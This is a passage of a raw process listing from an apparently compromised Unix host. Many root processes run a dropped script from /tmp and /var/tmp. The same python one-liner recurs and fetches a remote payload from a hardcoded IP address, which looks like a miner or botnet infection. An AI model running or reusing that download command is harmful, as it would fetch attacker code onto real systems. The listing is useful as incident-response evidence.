sleep 60 > root 17324 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16765 12612 0 - ? 0:00 <defunct> > root 11353 16332 0 15:46:04 ? 0:00 bash -sh > root 9515 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10555 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16207 28301 0 - ? 0:00 <defunct> > root 16763 16736 0 15:45:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20944 12129 0 15:45:22 ? 0:00 bash -sh > root 5953 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12917 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27547 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14249 18444 0 15:44:47 ? 0:00 bash -sh > root 3842 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10224 7683 0 - ? 0:00 <defunct> > root 4889 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19757 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29007 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17118 4911 0 - ? 0:00 <defunct> > root 25882 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2923 7360 0 15:45:19 ? 0:00 sleep 60 > root 10609 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1914 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10444 14332 0 15:45:10 ? 0:00 bash -sh > root 11548 1315 0 - ? 0:00 <defunct> > root 19842 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23962 12133 0 15:45:02 ? 0:00 bash -sh > root 14218 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18049 3750 0 15:46:04 ? 0:00 sleep 60 > root 17883 17641 0 - ? 0:00 <defunct> > root 6966 27035 0 15:43:37 ? 0:00 bash -sh > root 20678 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16559 15734 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12260 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2330 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3312 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23536 14178 0 - ? 0:00 <defunct> > root 15397 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10566 19183 0 15:45:41 ? 0:00 sleep 60 > root 3633 21128 0 15:45:40 ? 0:00 bash -sh > root 28626 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15319 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8967 5504 0 15:45:10 ? 0:00 sleep 60 > root 12610 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13068 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14267 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3531 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1936 15361 0 - ? 0:00 <defunct> > root 15671 15088 0 15:45:11 ? 0:00 bash -sh > root 14571 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20657 1 0 01:16:17 ? 0:00 sh /var/tmp/cruner > root 8773 25070 0 15:43:51 ? 0:00 bash -sh > root 8513 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12457 27840 0 15:45:11 ? 0:00 sleep 60 > root 12812 10322 0 15:46:04 ? 0:00 xargs kill -9 > root 4180 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16702 7428 0 15:45:29 ? 0:00 sleep 60 > root 22639 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4919 6526 0 15:45:40 ? 0:00 sleep 60 > root 19907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11384 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5186 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28388 26373 0 - ? 0:00 <defunct> > root 17479 14087 0 - ? 0:00 <defunct> > root 3812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13592 24801 0 - ? 0:00 <defunct> > root 8854 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 11296 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14306 5918 0 15:45:11 ? 0:00 sh /tmp/cruner > root 27189 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13330 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21700 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12609 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12776 6517 0 15:45:16 ? 0:00 sleep 60 > root 15794 7364 0 15:44:25 ? 0:00 bash -sh > root 28985 25449 0 15:45:43 ? 0:00 sleep 60 > root 19127 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28989 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29677 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17518 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6653 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15044 26838 0 15:43:11 ? 0:00 bash -sh > root 29823 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6391 17726 0 15:45:54 ? 0:00 sleep 60 > root 7408 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16241 21303 0 - ? 0:00 <defunct> > root 19414 24607 0 - ? 0:00 <defunct> > root 21345 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24172 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19489 1 0 Oct 06 ? 0:02 sh /var/tmp/cruner > root 13322 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13076 16024 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8250 24958 0 15:45:36 ? 0:00 bash -sh > root 10198 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18168 2100 0 15:46:04 ? 0:00 sh /tmp/cruner > root 15939 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9909 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26870 26862 0 15:43:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15839 28879 0 15:44:05 ? 0:00 bash -sh > root 2598 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3049 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 851 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1117 1089 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25286 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19443 19129 0 15:45:46 ? 0:00 bash -sh > root 27028 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23208 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14528 2560 0 - ? 0:00 <defunct> > root 7393 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18291 9528 0 15:44:57 ? 0:00 bash -sh > root 10469 14531 0 - ? 0:00 <defunct> > root 7042 21733 0 - ? 0:00 <defunct> > root 10969 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29833 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28714 1771 0 15:45:39 ? 0:00 xargs kill -9 > root 28303 2389 0 15:45:53 ? 0:00 bash -sh > root 2441 17448 0 15:45:19 ? 0:00 sleep 60 > root 2382 5278 0 15:43:07 ? 0:00 bash -sh > root 3593 19620 0 15:45:35 ? 0:00 sleep 60 > root 9451 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3936 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8536 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27232 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15563 15388 0 - ? 0:00 <defunct> > root 19485 2544 0 15:44:53 ? 0:00 bash -sh > root 15360 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21513 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15817 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6054 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6998 14211 0 15:45:49 ? 0:00 sleep 60 > root 4803 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7877 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 497 24947 0 - ? 0:00 <defunct> > root 26226 26196 0 - ? 0:00 <defunct> > root 17038 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18987 1258 0 15:46:04 ? 0:00 bash -sh > root 24575 9235 0 15:44:54 ? 0:00 bash -sh > root 10596 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27274 17135 0 15:44:59 ? 0:00 bash -sh > root 7989 9117 0 - ? 0:00 <defunct> > root 19593 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23374 4244 0 15:43:40 ? 0:00 bash -sh > root 15115 21340 0 15:45:46 ? 0:00 bash -sh > root 14343 29779 0 15:45:25 ? 0:00 sleep 60 > root 14332 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20565 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15064 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14638 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22003 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25727 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9071 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20500 18402 0 15:45:38 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2889 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3488 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3345 10920 0 15:45:28 ? 0:00 sleep 60 > root 17656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2993 7669 0 15:45:48 ? 0:00 sleep 60 > root 23361 2182 0 - ? 0:00 <defunct> > root 10090 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19952 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4836 18495 0 15:43:42 ? 0:00 bash -sh > root 22999 28740 0 15:45:06 ? 0:00 sleep 60 > root 21410 19686 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 8644 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10765 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2576 21439 0 - ? 0:00 <defunct> > root 444 20096 0 15:44:01 ? 0:00 bash -sh > root 14961 16803 0 15:46:04 ? 0:00 bash -sh > root 29293 15919 0 - ? 0:00 <defunct> > root 10122 21694 0 - ? 0:00 <defunct> > root 19848 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13060 15719 0 - ? 0:00 <defunct> > root 7912 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5455 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2186 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16605 25951 0 15:45:22 ? 0:00 sleep 60 > root 27405 6315 0 15:45:53 ? 0:00 xargs kill -9 > root 21775 2848 0 15:45:57 ? 0:00 sleep 60 > root 9574 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4160 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15457 27743 0 - ? 0:00 <defunct> > root 19805 16879 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15570 15408 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22911 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14818 19997 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13985 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22592 8408 0 - ? 0:00 <defunct> > root 3165 906 0 15:45:09 ? 0:00 bash -sh > root 7230 25812 0 15:45:04 ? 0:00 bash -sh > root 15554 9047 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23633 13896 0 15:45:26 ? 0:00 bash -sh > root 23656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16140 6598 0 15:45:26 ? 0:00 sleep 60 > root 20970 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1843 11608 0 - ? 0:00 <defunct> > root 11518 25102 0 15:46:04 ? 0:00 bash -sh > root 963 16162 0 15:45:53 ? 0:00 sleep 60 > root 20639 14209 0 15:43:34 ? 0:00 bash -sh > root 1680 9212 0 15:45:19 ? 0:00 sleep 60 > root 22921 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 595 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15417 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23809 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29076 15084 0 - ? 0:00 <defunct> > root 28228 18438 0 15:45:08 ? 0:00 bash -sh > root 22312 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5798 5793 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7333 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22656 1664 0 - ? 0:00 <defunct> > root 14564 5807 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2841 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10531 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28506 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16665 777 0 15:45:29 ? 0:00 sleep 60 > root 29456 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6487 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28950 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11033 13548 0 - ? 0:00 <defunct> > root 19399 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20950 28795 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 17977 18605 0 15:43:03 ? 0:00 bash -sh > root 2535 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21321 5218 0 15:45:29 ? 0:00 bash -sh > root 15684 4945 0 - ? 0:00 <defunct> > root 16331 11213 0 - ? 0:00 <defunct> > root 25922 20330 0 - ? 0:00 <defunct> > root 26102 11884 0 - ? 0:00 <defunct> > root 16489 17604 0 - ? 0:00 <defunct> > root 8485 8320 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9662 3065 0 15:45:54 ? 0:00 bash -sh > root 15337 17646 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 18122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28463 17196 0 15:45:18 ? 0:00 sleep 60 > root 15832 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27380 5523 0 15:45:47 ? 0:00 sleep 60 > root 28041 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27559 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14912 14551 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11798 27558 0 15:45:59 ? 0:00 bash -sh > root 10881 20170 0 - ? 0:00 <defunct> > root 16160 24160 0 - ? 0:00 <defunct> > root 11693 11676 0 - ? 0:00 <defunct> > root 11227 15015 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7655 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18427 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10128 4472 0 - ? 0:00 <defunct> > root 12799 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29752 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 427 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28702 21733 0 - ? 0:00 <defunct> > root 18313 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9447 11039 0 - ? 0:00 <defunct> > root 21949 4236 0 - ? 0:00 <defunct> > root 6143 7154 0 15:45:20 ? 0:00 sleep 60 > root 29579 16940 0 - ? 0:00 <defunct> > root 15965 4572 0 - ? 0:00 <defunct> > root 3708 12587 0 - ? 0:00 <defunct> > root 20673 10925 0 - ? 0:00 <defunct> > root 17067 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21678 10709 0 15:46:05 ? 0:00 bash -sh > root 21346 11635 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 28623 18428 0 15:45:47 ? 0:00 bash -sh > root 21055 3193 0 15:45:17 ? 0:00 bash -sh > root 20867 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14780 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26559 23995 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21859 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19963 5006 0 15:46:04 ? 0:00 grep -c processor /proc/cpuinfo > root 25858 25845 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17271 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2009 1 0 20:08:08 ? 0:00 sh /var/tmp/cruner > root 14395 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13300 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7838 26992 0 15:45:20 ? 0:00 sleep 60 > root 6688 1349 0 15:45:35 ? 0:00 sleep 60 > root 26207 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26126 1466 0 15:45:07 ? 0:00 sleep 60 > root 1028 11321 0 15:45:58 ? 0:00 sleep 60 > root 26835 1 0 20:53:00 ? 0:00 sh /var/tmp/cruner > root 15372 1 0 15:34:43 ? 0:00 sh /var/tmp/cruner > root 23749 682 0 15:45:47 ? 0:00 xargs kill -9 > root 13666 20307 0 15:45:37 ? 0:00 bash -sh > root 7198 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4652 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4659 11542 0 - ? 0:00 <defunct> > root 4779 17820 0 - ? 0:00 <defunct> > root 20900 421 0 15:44:53 ? 0:00 bash -sh > root 26961 14555 0 - ? 0:00 <defunct> > root 9457 11797 0 15:45:59 ? 0:00 sleep 60 > root 19620 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 947 722 0 15:45:48 ? 0:00 bash -sh > root 27566 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15427 1367 0 - ? 0:00 <defunct> > root 21885 23272 0 15:46:01 ? 0:00 bash -sh > root 16460 20821 0 - ? 0:00 <defunct> > root 19835 20867 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 10861 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20765 17052 0 15:45:38 ? 0:00 sleep 60 > root 4171 164 0 15:45:48 ? 0:00 sleep 60 > root 11020 28639 0 15:44:51 ? 0:00 bash -sh > root 18834 18812 0 15:43:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3181 17774 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14423 14407 0 15:44:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8284 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27631 25436 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24834 2334 0 15:42:44 ? 0:00 bash -sh > root 12661 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9062 3347 0 15:45:10 ? 0:00 bash -sh > root 14535 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20280 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19026 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22677 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19269 12697 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7552 29638 0 15:45:54 ? 0:00 sleep 60 > root 17596 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16302 24130 0 - ? 0:00 <defunct> > root 13288 18523 0 - ? 0:00 <defunct> > root 29185 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9280 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13837 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17726 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22143 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28155 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28776 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21248 16668 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25297 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21369 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15872 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23988 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3770 21366 0 15:43:54 ? 0:00 bash -sh > root 18596 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14597 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21998 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23642 29976 0 15:44:36 ? 0:00 bash -sh > root 10752 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25018 14263 0 - ? 0:00 <defunct> > root 21533 7173 0 15:45:17 ? 0:00 bash -sh > root 21921 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1006 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21153 13609 0 15:45:42 ? 0:00 sleep 60 > root 25391 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9804 7188 0 15:45:59 ? 0:00 sleep 60 > root 21467 15539 0 - ? 0:00 <defunct> > root 28248 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8830 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7514 25290 0 15:45:04 ? 0:00 bash -sh > root 9642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7336 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21541 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24053 23925 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17461 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5317 3654 0 15:45:44 ? 0:00 bash -sh > root 28900 6367 0 15:45:18 ? 0:00 sleep 60 > root 9576 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14428 9302 0 15:43:44 ? 0:00 bash -sh > root 14223 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25545 28003 0 15:45:17 ? 0:00 bash -sh > root 22 29376 0 15:45:14 ? 0:00 bash -sh > root 28901 26095 0 15:45:34 ? 0:00 sleep 60 > root 18603 21434 0 15:45:12 ? 0:00 sleep 60 > root 2482 21998 0 15:45:24 ? 0:00 sleep 60 > root 20482 20366 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21399 10859 0 - ? 0:00 <defunct> > root 3602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13161 26168 0 - ? 0:00 <defunct> > root 28438 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11596 12924 0 15:46:04 ? 0:00 bash -sh > root 15401 15382 0 - ? 0:00 <defunct> > root 24301 23066 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6335 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16976 26991 0 15:44:52 ? 0:00 bash -sh > root 1638 19852 0 15:46:02 ? 0:00 sleep 60 > root 11418 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8994 9691 0 15:44:38 ? 0:00 bash -sh > root 12934 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26490 18737 0 15:46:01 ? 0:00 bash -sh > root 2284 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29078 27999 0 15:45:18 ? 0:00 sleep 60 > root 1108 653 0 15:44:37 ? 0:00 bash -sh > root 25192 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29370 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19990 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23202 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4890 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7505 10756 0 15:45:00 ? 0:00 xargs kill -9 > root 29173 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22561 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5278 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4415 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29975 1719 0 15:45:34 ? 0:00 sleep 60 > root 18870 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1048 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29708 13841 0 15:45:34 ? 0:00 bash -sh > root 4525 16792 0 15:44:50 ? 0:00 bash -sh > root 1367 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5586 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28313 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1632 2873 0 15:45:53 ? 0:00 sh /tmp/cruner > root 22446 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20144 19283 0 15:45:12 ? 0:00 bash -sh > root 13064 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5231 10134 0 15:43:31 ? 0:00 bash -sh > root 8649 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29054 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13570 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20876 12110 0 15:45:22 ? 0:00 bash -sh > root 8461 24973 0 15:43:43 ? 0:00 bash -sh > root 28923 28908 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29678 29643 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14788 874 0 - ? 0:00 <defunct> > root 3721 213 0 15:45:54 ? 0:00 sleep 60 > root 2035 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11128 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29093 8217 0 - ? 0:00 <defunct> > root 21231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6819 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13704 8157 0 15:45:37 ? 0:00 bash -sh > root 12148 21768 0 - ? 0:00 <defunct> > root 20559 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24259 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4344 26767 0 15:45:24 ? 0:00 bash -sh > root 18543 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29475 9017 0 - ? 0:00 <defunct> > root 4092 6869 0 - ? 0:00 <defunct> > root 28351 1795 0 15:45:47 ? 0:00 sleep 60 > root 23176 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3661 19574 0 - ? 0:00 <defunct> > root 24383 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17163 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23554 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8043 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3695 2362 0 - ? 0:00 <defunct> > root 22207 28981 0 15:45:17 ? 0:00 sleep 60 > root 28949 1728 0 - ? 0:00 <defunct> > root 13891 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 13099 29322 0 - ? 0:00 <defunct> > root 534 516 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2222 2163 0 - ? 0:00 <defunct> > root 29245 5791 0 15:45:34 ? 0:00 sleep 60 > root 17752 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20859 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19728 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25585 11019 0 15:44:09 ? 0:00 bash -sh > root 9379 1 0 Oct 05 ? 0:01 sh 